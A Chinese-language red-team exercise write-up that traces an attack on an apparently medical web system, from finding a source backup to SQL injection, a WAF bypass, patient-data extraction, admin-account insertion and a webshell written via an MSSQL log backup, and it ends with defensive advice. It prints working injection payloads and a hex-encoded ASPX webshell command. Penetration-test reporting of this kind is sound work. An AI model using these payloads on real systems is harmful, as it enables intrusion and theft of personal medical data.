记一次攻防演练
字数 1727 2025-08-26 22:11:57
攻防演练实战:从源码审计到GetShell的全过程分析
0x00 前言
本文记录了一次市级攻防演练的完整过程,从目录扫描发现源码开始,通过代码审计发现SQL注入漏洞,绕过WAF防护,提取敏感数据,最终通过后台功能实现GetShell的全过程。整个过程涉及多种安全技术,包括信息收集、代码审计、WAF绕过、数据提取和权限提升等。
0x01 信息收集与源码发现
关键步骤
- 使用御剑扫描工具对目标网站进行目录扫描
- 发现网站备份文件
wwwroot.zip - 下载并分析源码文件
技术要点
- 大字典扫描策略:使用全面的大字典提高发现备份文件的概率
- 常见备份文件命名:如wwwroot.zip、web.zip、backup.rar等
0x02 源码审计
敏感信息泄露审计
-
数据库配置信息:
- 发现使用内网IP连接MSSQL数据库
- 数据库密码采用"目标网站系统名缩写+_1"的弱密码策略(如xzsq_1)
-
日志文件分析:
- 日志中包含大量敏感信息(姓名、电话、病例信息)
- 使用Python脚本提取日志中的电话号码统计泄露数据量
文件上传功能审计
-
发现编辑器上传功能:
- 配置文件设置
PermitUpload=Y允许未授权上传 - 白名单限制上传后缀(由配置文件定义)
- IIS 10.0无解析漏洞可利用
- 配置文件设置
-
文件上传函数分析:
- 所有上传功能调用统一的
UpFile函数 UpFile函数严格限制文件类型,难以绕过
- 所有上传功能调用统一的
SQL注入漏洞审计
-
过滤函数分析:
- 参数过滤使用
ReplaceUrlBadChar函数 - 函数存在双写绕过漏洞
- 过滤关键字不完整
- 参数过滤使用
-
注入点发现:
- 注入点一:
user_id通过Cookie传入,直接拼接SQL - 注入点二:GET参数
card_id直接拼接SQL - 注入点三:GET参数
user_id直接拼接SQL
- 注入点一:
-
过滤函数缺陷:
// ReplaceUrlBadChar函数存在双写绕过可能
// 过滤不完整,可能遗漏参数过滤
0x03 WAF绕过技术
WAF拦截规则分析
- 拦截模式:
select[位置一]from[位置二] - 测试各种绕过方法失败:
- 空白字符插入(%01-%20)
- 注释符(/**/)
- 特殊字符(.,:,-,~等)
成功绕过方法
-
科学计数法绕过:
- 构造
select..Efrom...形式 - WAF识别为
select..Efrom而非select...from
- 构造
-
有效Payload:
user_id=-42681 union select top 1 1,2,3,SysAdmin1,5,6,7,8,9,10,11,12,13,14Efrom Sysadmin--++;
- 获取管理员凭证:
- 账号:Admin
- 密码:C513C9D645ABB226(MD5加密,但无法解密)
0x04 数据提取技术
批量获取敏感数据
-
利用SQL注入遍历用户信息:
- Payload:
user_id=§42681§ or 1=1 - 包含病人姓名、身份证、电话、就诊卡号等
- Payload:
-
Burp Suite数据提取技巧:
- 使用Intruder模块批量测试
- 配置Grep-Extract提取特定数据
- 调整响应长度限制(默认100改为10000)
数据处理
- 解决乱码问题:
- 保存后数据格式正常
- 可统计泄露数据量作为得分依据
0x05 权限提升与GetShell
后台权限获取
-
通过SQL注入添加管理员:
user_id=42681 if(1=1) insert into[SysAdmin](SysAdmin1,SysAdmin2,SysAdmin3,SysAdmin5) values('test','A6AFBBCBF8BE7668','test','2099/11/18 12:36:00')--++; -
修改管理员密码:
user_id=42681 if(1=1) update[SysAdmin]set SysAdmin2='a6afbbcbf8be7668' where SysAdmin0=1--++
后台功能利用
- 发现后台执行SQL语句功能
- 权限限制:新增用户权限不足,需修改原管理员密码
GetShell技术
-
利用日志备份GetShell:
backup database xxxx_db to disk = 'd:/wwwroot/logs/2019-12-20.bak'with init; alter database[xxxx_db]set RECOVERY FULL; create table[test_tmp](img image); insert into [test_tmp](img) values (0x3C25657865637574652872657175657374282261222929253EDA); backup log gxzyy_db to disk = 'd:/wwwroot/m/hacc.aspx' -
免杀Webshell:
- 使用十六进制编码的ASPX马
- 通过日志备份写入可执行路径
总结与防御建议
攻击路径总结
- 信息收集 → 源码发现 → 代码审计 → SQL注入 → WAF绕过 → 数据提取 → 权限提升 → GetShell
防御建议
-
源码安全:
- 避免将备份文件存放在Web目录
- 使用强密码策略,避免规律性密码
-
输入过滤:
- 使用参数化查询而非字符串拼接
- 完善过滤函数,避免双写绕过
-
WAF配置:
- 更新规则识别科学计数法等绕过技术
- 对Cookie和GET/POST参数统一防护
-
权限控制:
- 严格限制后台SQL执行功能
- 实施最小权限原则
-
日志管理:
- 定期清理日志文件
- 对日志中的敏感信息进行脱敏处理
通过本次演练可以看出,一个看似简单的SQL注入漏洞,经过层层利用最终可能导致系统完全沦陷。防御方需要建立纵深防御体系,从代码安全到运行防护多方面加强安全性。